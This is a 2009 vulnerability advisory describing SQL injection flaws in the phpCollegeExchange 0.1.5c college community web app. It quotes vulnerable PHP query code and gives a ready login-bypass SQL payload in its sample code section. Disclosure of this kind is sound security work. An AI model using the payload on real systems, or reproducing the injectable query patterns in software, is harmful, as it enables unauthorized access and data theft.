phpCollegeExchange 0.1.5c Authentication Bypass

`phpCollegeExchange 0.1.5c Multiple SQL Injection Vulnerabilities  
  
Name phpCollegeExchange  
Vendor http://phpcollegeex.sourceforge.net  
Versions Affected 0.1.5c  
  
Author Salvatore Fresta aka Drosophila  
Website http://www.salvatorefresta.net  
Contact salvatorefresta [at] gmail [dot] com  
Date 2009-12-11  
  
X. INDEX  
  
I. ABOUT THE APPLICATION  
II. DESCRIPTION  
III. ANALYSIS  
IV. SAMPLE CODE  
V. FIX  
VI. DISCLOSURE TIMELINE  
  
  
I. ABOUT THE APPLICATION  
  
PhpCollegeExchange is a full fledged college community  
website.  
  
  
II. DESCRIPTION  
  
This application is affected by many SQL Injection  
security flaws. In order to exploit they, the Magic Quotes  
GPG (php.ini) must be Off.  
In this security advisory I reported only some of the  
vulnerable files.  
I tested 0.1.5c version only, however other versions may  
be also vulnerable.  
  
  
III. ANALYSIS  
  
Summary:  
  
A) Authentication Bypass  
B) Multiple SQL Injection  
  
A) Authentication Bypass  
  
Using a SQL Injection in the login process, a guest can  
bypass the authentication.  
In order to exploit it, The Magic Quotes GPG flag must be  
Off.  
  
Vulnerable code (functions.php):  
  
........  
  
function checkpass($handle,$pass){  
require_once($home."mysqlinfo.php");  
include("i_aeskey.php");  
$query="SELECT AES_DECRYPT(password,'$AES_key') FROM users WHERE  
(handle='$handle')";  
$result = mysql_query($query);  
  
if(mysql_num_rows($result))  
{  
if($r = mysql_fetch_array($result))  
{$dbpass=$r[0];}  
if($pass==$dbpass)  
{return 1;}  
  
........  
  
  
B) Multiple SQL Injection  
  
Searchend.php is affected by multiple SQL injection issues  
that allow a guest to view reserved information stored  
into the database.  
The following is an example of vulnerable code found in  
searchend.php.  
  
Vulnerable code (searchend.php):  
  
........  
  
$query = "SELECT * FROM Books";  
  
if(isset($_POST['searchby'])){$searchby=$_POST['searchby'];}else{$searchby=$_GET['searchby'];}  
  
switch($searchby){  
  
........  
  
case "Title" :  
  
$title = $_POST['searchquery'];  
if(strlen($title)>2){  
//check length at least 3 chars  
  
$query .= " WHERE (title LIKE '%$title%') ORDER BY price";  
$result = mysql_query($query);  
  
........  
  
Another funny SQL injection may be seen in forgotpass.php.  
It can be manipulate to send to an arbitrary email address  
the password of a registered user, knowing the AES key.  
  
Vulnerable code:  
  
........  
  
if( isset($_POST["handle"]) ){  
  
........  
  
$query="SELECT AES_DECRYPT(password,'$AES_key'), email FROM users  
WHERE (handle='$handle')";  
$result = mysql_query($query);  
  
if(mysql_num_rows($result)){  
  
$r = mysql_fetch_array($result);  
  
$email = $r[1];  
$pass = $r[0];  
  
........  
  
mail("$email", "Your Book Exchange Password", $emailcontent);  
  
........  
  
  
IV. SAMPLE CODE  
  
A) Authentication Bypass  
  
Username: -1') UNION ALL SELECT 'foo'#  
Password: foo  
  
B) Multiple SQL Injection  
  
A proof of concept can be found here:  
http://poc.salvatorefresta.net/PoC-phpCollegeExchange.txt  
  
  
V. FIX  
  
No fix.  
  
  
VIII. DISCLOSURE TIMELINE  
  
2009-12-11 Bug discovered  
2009-12-11 Initial vendor contact  
2009-12-11 Advisory Release  
`